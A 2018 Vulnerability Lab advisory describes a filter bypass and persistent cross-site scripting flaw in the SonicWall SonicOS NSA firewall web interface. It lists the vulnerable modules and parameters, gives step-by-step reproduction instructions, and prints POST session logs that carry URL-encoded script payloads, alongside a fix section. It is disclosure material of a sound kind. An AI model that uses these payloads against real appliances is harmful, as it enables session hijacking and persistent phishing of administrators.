Document Title:
===============
SonicWall SonicOS NSA - Bypass & Persistent Vulnerability


References (Source) Document Title:
===============
SonicWall SonicOS NSA - Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1729


Release Date:
=============
2018-01-04


Vulnerability Laboratory ID (VL-ID):
====================================
1729


Common Vulnerability Scoring System:
====================================
4.5


Vulnerability Class:
====================
Multiple


Current Estimated Price:
========================
2.000a! - 3.000a!


Product & Service Introduction:
===============================
Achieve a deeper level of security with the SonicWALL Network Security Appliance (NSA) Series of next-generation firewalls. NSA Series appliances
integrate automated and dynamic security capabilities into a single platform, combining the patented1, SonicWALL Reassembly Free Deep Packet
Inspection (RFDPI) firewall engine with a powerful, massively scalable, multi-core architecture. Now you can block even the most sophisticated
threats with an intrusion prevention system (IPS) featuring advanced anti-evasion capabilities, SSL decryption and inspection, and network-based
malware protection that leverages the power of the cloud.

(Copy of the Homepage: http://www.sonicwall.com/products/sonicwall-nsa/ )


The proven SonicOS architecture is at the core of every Dell SonicWALL firewall from the SuperMassiveaC/ E10800 to the TZ 100. SonicOS uses deep packet
inspection technology in combination with multi-core specialized security microprocessors to deliver application intelligence, control, and real-time
visualization, intrusion prevention, high-speed virtual private networking (VPN) technology and other robust security features.

(Copy of the Homepage: http://www.sonicwall.com/network-security-os-platform/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a filter bypass issue and an application-side vulnerability in the
official DELL SonicWall SonicOS NSA Series web-application firewall (utm) appliances.


Vulnerability Disclosure Timeline:
==================================
2018-01-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
DELL SonicWall
Product: Sonicwall SonicOS (all versions)


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A filter bypass issue and an application-side web vulnerability has been discovered in the official SonicWall NSA Web-Firewall Appliance Series with SonicOS.
The filter bypass issue allows an attacker to bypass a restricted mechanism or a filter protection to finally evade the controls of the web-application.

The `Security Service` section with the `Content Filter` module allows an attacker to bypass the regular web-filter validation mechanism.
Remote attackers with privileged appliance user accounts are able to inject own malicious script codes on the application-side of the affected modules.

The filter of the `CFS Custom Category` module with the `Add` function allows an attacker to bypass the regular web-filter validation of the web-application.
As far as an attacker injects in the `CFS Custom Category` a payload to the as `Name`, he will be forced to use only words without script code by a secure
exception-handling. In the Formular of the Edit procedure is also an `Update` function available. Remote attackers with local low privileged user accounts
are able to bypass the name input validation the following way. First the attacker inserts a regular domain, after that the update function is available.
Now the attacker injects his payload to the ` Content` input field and clicks update to the already temporarily stored entry. Now the illegal payload is
inside the listing and can be saved via `OK` for further manipulation to compromise the web appliance of sonicwall. The vulnerable files were the injection
point is located are `addTrustedDomainDlg.html` and `gavCloudExclusions.html`. The final script code execution occurs in the `main.html or index` file.
The same filter bypass issue is located in the `Cloud AV DB Exclusion Settings` module with the vulnerable `Cloud AV Signature ID` input field context as well.

After the context is include an application-side script code execution occurs in the main listing of the `CFS Custom Category`. The validation does not encode
the input of the Edit formular and sends the context to the item listing in the index of the content filter module. The attack vector of the issue is located
on the application-side and the request method to inject is POST.

The security risk of the filter bypass and persistent validation vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.5.
Exploitation of the persistent input validation web vulnerability requires a low privileged or restricted web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects to malicious source and persistent manipulation
of affected or connected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] CFS Custom Category
[+] Cloud AV DB Exclusion Settings

Vulnerable File(s):
[+] addTrustedDomainDlg.html
[+] gavCloudExclusions.html


Vulnerable Inputs(s):
[+] Name
[+] Content
[+] Cloud AV Signature ID

Vulnerable Parameter(s):
[+] cfsRatingObjectName
[+] selectedItem
[+] itemList
[+] cfsRatingDomainList
[+] gav_cloud_exclude_list
[+] inputbox
[+] list

Affected Module(s):
[+] CFS Custom Category - Item Listing (Name & Content)
[+] Gateway Anti-Virus Signatures - Item Listing (Name & Content)


Proof of Concept (PoC):
=======================
The filter bypass and application-side input validation vulnerability can be exploited by remote attackers with privileged
web-application user account and low or medium user interaction For security demonstration or to reproduce the web vulnerability
follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the appliance web-application (nsa series)
2. Login to the application
3. Switch to the Security Services
4. Open the Content Filter module
5. Scroll down and click in the `CFS Custom Category` the `Add` button
6. Now, a new form opens with several inputs
Note: To edit existing items the item listing or to add new context to the item listing
7. Include a regular name and a basic content as domain name
8. Save the entry temporarily via `Add` to the edit list
9. Choose the same track that you added and include a script code payload after the domainname
10. Now, click on update (Note via Add!)
11. The illegal domain context is now saved
Note: We used the update function to bypass the protected Add mechanism
12. Click the Ok button to save the entry to the dbms of the appliance web-application
13. The code executes directly in the item list of the CFS Custom Category module next to the add function
14. Successful reproduce of the filter bypass issue and persistent vulnerability!


--- Session Logs (Standard Request) ---
Status: pending[]
POST https://utm_waf.sonicwall.localhost:8351/main.cgi
Mime Type[unknown]
Request Header:
Host[utm_waf.sonicwall.localhost:8351]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[https://utm_waf.sonicwall.localhost:8351/addCfsLocalRating_-1.html]
Cookie[curUrl=securityServicesCFView.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0;
1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 777=0; 7433=divHAInterfaces; 7513=0]
POST-Daten:
csrfToken[]
cfsRatingObjectName[test23]
cfsRatingCategory[2]
selectedItem[test.com]
itemList[test.com]
cfsRatingDomainList[test.com]
refresh_page[securityServicesCFView.html]
tableIndex[-1]
cgiaction[%5Bobject+Window%5D]


--- PoC Session Logs (POST) [Inject] #1 ---
Status: pending[]
POST https://utm_waf.sonicwall.localhost:8351/main.cgi
Mime Type[unknown]
Request Header:
Host[utm_waf.sonicwall.localhost:8351]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[https://utm_waf.sonicwall.localhost:8351/addCfsLocalRating_-1.html]
Cookie[curUrl=systemStatusView.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0;
1040=4; 1041=1; 1042=0; 1043=0; 1044=0; 1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 777=0; 7433=divHAInterfaces; 7513=0]
POST-Daten:
csrfToken[]
cfsRatingObjectName[+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3EMALIICOUS INJECTED PAYLOAD!]
cfsRatingCategory[9]
selectedItem[testdomain.com++%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
itemList[testdomain.com++%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
cfsRatingDomainList[testdomain.com++%22%26gt%3B%26lt%3Bimg+src%3Dx+onerror%3Dprompt%2823%29%3B%26gt%3B+++%22%26gt%3B%26lt%3B%22%26lt%3Bimg+src%3D%22x%22%26gt%3B%2520%2520%26gt%3B%22%26lt%3Biframe+src%3Da%26gt%3B%2520%26lt%3Biframe%26gt%3B]
refresh_page[securityServicesCFView.html]
tableIndex[-1]
cgiaction[%5Bobject+Window%5D]


--- PoC Session Logs (POST) [Inject] #2 ---
Status: pending[]
POST https://utm_waf.sonicwall.localhost:8351/main.cgi
Mime Type[unknown]
Request Header:
Host[utm_waf.sonicwall.localhost:8351]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[https://utm_waf.sonicwall.localhost:8351/gavCloudExclusions.html]
Cookie[curUrl=gavSummary.html; curUsr=; 77177=local; 1008=2; 1021=600; 1023=10; 1024=5; 1031=0; 1032=0; 1033=0; 1034=0; 1035=0; 1040=4; 1041=1; 1042=0; 1043=0; 1044=0;
1045=0; 1007=applFolder; 1022=true; SessId=null; PageSeed=null; tabbedWinAlert=done; 777=0; 7433=divHAInterfaces; 7513=0; 2039=local; 2040=%7B%22refreshTime%22%3A3%2C%22
showTimeRange%22%3A10%2C%22refreshEnable%22%3Atrue%2C
%22viewApplications%22%3A1%2C%22viewBandwidth%22%3A1%2C%22viewPktRate%22%3A1%2C%22viewPktSize%22%3A1%2C%22
viewConnRate%22%3A1%2C%22viewConnCount%22%3A1%2C%22viewCoreMonitor%22%3A1%2C%22displayBandwidth%22%3A%22bwSelRate%22%2C
%22displayPktRate%22%3A%22pktRateSelRate%22%2C%22displayPktSize%22%3A%22pktSizeSelRate%22%2C%22displayConnRate%22%3A%22
connRateSelRate%22%2C%22displayConnCount%22%3A%22connCountSelCount%22%2C%22ipVerBandwidth%22%3A%222%22%2C
%22ipVerApps%22%3A%222%22%2C%22showMostFrequentApps%22%3Afalse%2C%22inChartAppLegends%22%3Afalse%2C%22hideAppLegends%22%3Atrue%2C%22inChartBwLegends
%22%3Afalse%2C%22hideBwLegends%22%3Atrue%2C%22hidePktRateLegends%22%3Atrue%2C
%22hidePktSizeLegends%22%3Atrue%2C%22hideConnRateLegends%22%3Atrue%2C%22hideConnCountLegends%22%3Atrue%2C%22hideAppChart%22%3Afalse%2C%22hideBwChart
%22%3Afalse%2C%22hidePktRateChart%22%3Afalse%2C%22hidePktSizeChart%22%3Afalse%2C
%22hideConnRateChart%22%3Afalse%2C%22hideConnCountChart%22%3Afalse%2C%22hideCoreMonChart%22%3Afalse%2C%22hideMemoryMonChart%22%3Afalse%2C%22rtAppColors
%22%3A%5B%22%23081D58%22%2C%22%23253494%22%2C%22%23225EA8%22%2C%22%231D91C0%22%2C
%22%2341B6C4%22%2C%22%237FCDBB%22%2C%22%23C7E9B4%22%2C%22%23EDF8B1%22%2C%22%23FFFFD9%22%5D%2C%22rtDataColors
%22%3A%5B%22%23E41A1C%22%2C%22%23377EB8%22%2C%22%234DAF4A%22%2C%22%23984EA3%22%2C%22%23FF7F00%22%2C%22%23FFFF33%22%2C
%22%23A65628%22%2C%22%23F781BF%22%2C%22%23999999%22%2C%22%235A6B34%22%2C%22%23F0D64E%22%2C%22%23D7B740%22%2C%22%23AB80
24%22%2C%22%23925818%22%2C%22%23DB5A6E%22%2C%22%23071D69%22%2C%22%230A1650%22%2C%22%234571DA%22%2C%22%23E18B5C%22%2C
%22%23028482%22%2C%22%237ABA7A%22%2C%22%23B76EB8%22%5D%2C%22useGradient%22%3Atrue%7D]
POST-Daten:
csrfToken[???]
inputbox[123123123+%22%3E%3CMALIICOUS INJECTED PAYLOAD!+src%3Da%3E]
list[123123123+%22%3E%3CMALIICOUS INJECTED PAYLOAD!+src%3Da%3E]
gav_cloud_exclude_list[123123123+%22%3E%3CMALIICOUS INJECTED PAYLOAD!+src%3Da%3E]
gav_cloud_refresh_exclusions[]
refresh_page[gav_cloud.html]
isobject[1]
cgiaction[%5Bobject+Window%5D]


Reference(s):
https://utm_waf.sonicwall.localhost:8351/main.cgi
https://utm_waf.sonicwall.localhost:8351/gavCloudExclusions.html
https://utm_waf.sonicwall.localhost:8351/addTrustedDomainDlg.html


Solution - Fix & Patch:
=======================
The vulnerability can be patched by setting up a secure validation for the update inputbox save procedure. Use the same as on the add procedure.
Encode the context and disallow usage of special chars in the item list when processing to add. Parse the context and filter the input next to
the permanent save that finally displays the context in the main item list to prevent an application-side script code execution.

Note: The vulnerabilities has been reported to the dell security team. The issue has been resolved to 2016Q4 - 2017Q4 by the sonicwall developers.


Security Risk:
==============
The security risk of the application-side input validation web vulnerability and the filter bypass issue are estimated as medium (CVSS 4.5).


Credits & Authors:
==================
Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.

Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

Copyright A(c) 2018 | Vulnerability Laboratory - [Evolution Security GmbH]aC/

--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com